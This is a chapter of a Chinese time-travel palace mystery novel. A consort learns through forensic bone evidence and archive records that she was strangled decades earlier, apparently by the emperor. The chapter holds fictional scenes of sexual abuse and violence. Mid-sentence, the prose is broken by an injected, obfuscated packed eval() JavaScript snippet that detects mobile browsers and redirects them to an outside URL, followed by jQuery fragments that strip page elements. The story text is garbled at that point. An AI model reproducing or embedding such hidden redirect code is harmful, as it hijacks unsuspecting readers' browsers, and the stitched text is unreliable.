81.第 81 章

作品:《我在古代开和离事务所

    “死因是颈部骨骼折断。”


    “死者舌骨骨折,双侧大角根部斜行骨折,骨折线呈锯齿状,断端可见骨质增生,颈椎横突撕脱性骨折,项韧带附着处可见增生,可以判断是勒死或是缢死,不过尸体已经完全白骨化,保存状况不佳。”


    容妃看向崔令仪:“这是什么意思?”


    崔令仪道:“勒死是他杀,缢死是上吊自尽。”


    容妃问:“那怎么办,事到如今,又该怎么判断死因呢?”


    崔令仪道:“是勒死。”


    “勒死和缢死的骨折点不同,比如舌骨骨折,一般不会出现在缢死的人身上。缢死一般会有颈椎脱位的情况,而非撕裂伤。”


    崔令仪望着容妃:“死者极大可能是被人勒死。”


    容妃疑虑道:“可是我……可是死者的力气很大,人又很灵活,一般的青壮年男子至少也要有两个才能按得住她,怎么会轻易被人勒死呢?”


    “要么是心灰意冷被人赐死,要么是被人偷袭。”崔令仪挑眉,“娘娘觉得呢?”


    容妃咬着唇,沉默良久,询问:“照你看,应当是如何?”


    “都有可能,这需要进行进一步的调查。”崔令仪转头看向李如璋,“尸身之上还有什么线索吗?”


    提到这里,李如璋的脸色微微涨红,她环顾四周,轻轻伏在崔令仪身侧,道:“死者死时已经身怀有孕。”


    容妃当即大惊失色。


    崔令仪也拧起眉头:“死者有身孕了?”


    容妃问:“会是谁的孩子?”


    崔令仪暂且摇了摇头。


    李如璋道:“我瞒着父亲私自调阅了四十年前的卷宗,还有一些发现。”


    “案卷显示死者是自戕身亡,当夜她得知国破家亡后,心灰意冷,在长春宫内悬梁自尽。”李如璋低声道,“但是刚刚崔姐姐也说了,死者应该是被勒死。虽然卷宗做得很完美,看不出什么端倪,但是有一点我留意到。”


    “死者身死的日期和当今陛下班师回朝的时间相吻合。死者死于昭文三年四月十七,而那年陛下班师回朝,是四月十六日。而死者死后不久,先帝忽然暴毙,死前传位给了陛下。”


    李如璋信誓旦旦:“倾城公主之死,必定与陛下有关。”


    李如璋走后,崔令仪垂眸望着神色惊慌的容妃,许久才缓缓启唇:“娘娘在和陛下的相处之中,有感受到什么不妥之处吗?”


    容妃摇了摇头。


    崔令仪道:“时间已经过去四十年,当年的人证物证都无法留存,另外我们被困在深宫之中,也难以去调查其他线索,最直接的方式就是向陛下打探。娘娘,陛下从没问起过,您在穿越至如今以前在深宫中的生活,也从没问起——那个孩子吗?”


    容妃否认道:“陛下从不曾问起。”


    崔令仪道:“那恕织星斗胆猜测,这个孩子应当不是陛下的,或是陛下对此并不知情。”


    容妃左手不知不觉地搭上小腹,在怔忪之下缓缓说道:“若这孩子不是陛下的,那会是谁的呢?彼时我身处深宫,与外界接触甚少,实在想不出会与谁有这样的纠葛。”


    崔令仪道:“娘娘,这孩子说不定是解开您死因谜团的关键。”


    容妃沉默良久,道:“事到如今,我的死因竟然如此扑朔迷离,不管这背后隐藏着什么,我都一定要查个水落石出。”


    崔令仪安慰道:“请娘娘放心,真相必定可以大白于天下。”


    容妃亲自做了糕点送去给陛下,跨过御书房时,正撞见陛下在案前批阅奏折。


    烛火摇曳间,他鬓角银丝在明黄常服上泛着冷光。


    他竟然已经这么老了。


    容妃无论怎么看他,都不能将他和自己脑海中的少年对上号。当年轻歌纵马、意气风发,如今已是垂暮之年的苍老帝王,鸡皮鹤发。四十年,咫尺天涯。


    “臣妾给陛下煮了酥酪。”她将青瓷盏搁在桌案上。陛下搁下笔,抬手拂过她冰凉的面颊,脸上显出一些疼惜之色。


    陛下问:“今日这样冷,怎么还冒着寒风过来。”


    “臣妾昨夜梦到旧岁。”她将那酥酪推到陛下面前,“记得那年陛下猎得白狐,还说要拿狐尾给臣妾做领巾,只是那之后不久,臣妾就和亲来了大周,可惜没见到那狐狸尾巴。”


    “狐尾,如今还不是要多少有多少。”陛下笑了一声,“等到下起了雪,朕亲自去给你猎一只最好的,完完整整给你做一个狐裘大氅。”


    容妃望着他,眼里显出一点羞怯:“不要了,陛下,如今臣妾倒觉得有伤天和,臣妾还想给陛下生个孩儿,自然要潜心祈福。”


    陛下眸光一闪,随后岔开话题,道:“那我让司珍局给你打支九凤衔珠钗可好,早在四十年前,我就想把它戴在你的头上了。”


    容妃笑道:“那也不必了。说起前尘事,臣妾还一直有个问题想要问陛下。”


    “什么问题?”


    “臣妾当年骤然穿越到四十年后,那四十年前,臣妾的身体怎么样了?”


    陛下一怔:“好端端地怎么问起这个?”


    “臣妾好奇嘛。”容妃娇嗔道。


    “你去世了。”陛下道,“你的尸身,现在就陈放在朕的地宫之中,只待百年之后与朕合葬。”


    容妃又问:“那么陛下,臣妾是如何而死?”


    “有人对你说了什么吗?”陛下蹙眉,眼中闪出一丝寒光。


    容妃状若无知,她轻声道:“臣妾只是想知道,臣妾为什么会死。”


    陛下给出了与卷宗之中截然不同的答案:“你是被先皇赐死的。”


    容妃怔怔:“啊?”


    “彼时我班师回朝,禀明先帝边疆战火,先帝震怒,他就想到了你。”陛下道,“我本想,凭借自己浑身军功求娶于你,可先帝先我一步,将你幽禁在长春宫,此后又暗中赐死。”


    “我得知你的死讯,悲伤欲绝,起兵本欲讨伐他,为你复仇。可他却力排众议,传位给我,如此我再不能逼宫于他,只是给他下毒。”


    “下毒?”容妃问。


    “是。”陛下道。


    “他害死我所爱之人,我要他为你偿命。”


    “可是……”容妃话音未落,忽觉天旋地转。皇帝竟将她打横抱起,香炉被他广袖带翻在地,她望着近在咫尺的九龙藻井,忽然回想起一种熟悉的痛楚。


    “你不是说,要给朕生个孩子?”陛下问。


    “今日,正


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801542|170073||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是良辰。”


    面前陛下的身影和四十年前的先帝渐渐重合。先帝在后宫之中当场夸赞她的美貌,口口声声说,要为她打造金屋。她顺势问先帝,可否放过她的母族。


    “当然好了。”先帝说。


    因此她屈从于先帝。先帝将她带在身边,像是带着一条狗。先帝常常当着外人的面亵玩她,凌虐她,午夜梦回,她不止一次后悔自己活在这世上。


    可是她没有办法。


    一旦她停下,先帝就威胁要对青唐用兵,要铲除她的母族。她就这样浑浑噩噩地活着,一日,又一日。直到她对自己的身体已经再没有半点羞耻,她对于当着外人展现自己的身体,已经没有所谓。


    那一日,她正顺从地伏在先帝的脚下。前朝传来军令,先帝第一次没有避讳她。


    她听见了青唐的消息。


    她听见那位传令兵说,青唐如今已经国破,她的父汗和母亲被四皇子枭首,头颅悬挂在博阳城外,士气大振。大周的士兵肆意屠杀她的族人,侮辱她族中的妇女,她的母族所面临的,竟然和今日的她没有差别。


    先帝十分满意,传令让四皇子回朝。


    可惜先帝没有想到,他自以为饲养的狗,实际上是草原上最骁勇的狼。


    先帝满意地垂下脸,看着她,她几乎是摇着尾巴,向他投以最温顺的笑意。随后,她扑到了他的身上。


    她手上没有武器,她还有最尖利的牙齿。一力降十会的绝色少女,徒手可以掰断他的脖子。昔日那样美丽的脸,如今映在他的眼中的,已经是一只暴戾、凶残、不解人事的凶兽。她伏在他的脖子上,喉咙中发出嗬嗬的声音,随口就咬断他的手筋。


    “你不能杀我!”


    先帝慌张道。


    “你的父母虽然已经死了,但是你还有萧四。”先帝几乎被她吓得尿裤子,“你忘了萧四是谁吗,你敢杀我,我手底下的人就会将他乱刀砍死,我死了,他一定会给我陪葬。”


    “你还不松口!”


    “你现在就放开朕!否则,朕一定让他生不如死!”


    容妃是翌日才回宫中的,回来时她脸色苍白,吵着闹着要见织星,崔令仪赶到时,她正将脸埋在双膝之间垂泪。


    “怎么了,娘娘?”崔令仪问。


    “我想起那个孩子是谁的了。”容妃仰起脸,斩钉截铁道,“那是先帝的孩子。”


    “先帝并非不愿见我。相反地,他很宠爱我。”她轻声道,“我那时还不知道……他是先帝的儿子,所以,我为他退让了。”


    “我也想起来了,我确实是别人勒死的。”她道,“那一日,有人跟我说他要来见我,我便盛装打扮了,在宫门口等,可我等了一整日,我都没有见到他,直到……”


    “直到有一条绳索将你勒住。”崔令仪道。


    “是。”容妃轻声说,“那人的力气出奇的大,这世上少有人有那么大的力气。我起初还在挣扎,后来我知道他是谁了,我就不挣扎了。”


    “他在我的耳边说,别怕……”


    崔令仪了然道:“是陛下杀死了你。”


    容妃沉默良久,点了点头。


    崔令仪道:“既然如此,我也知道他为什么要杀死你了。”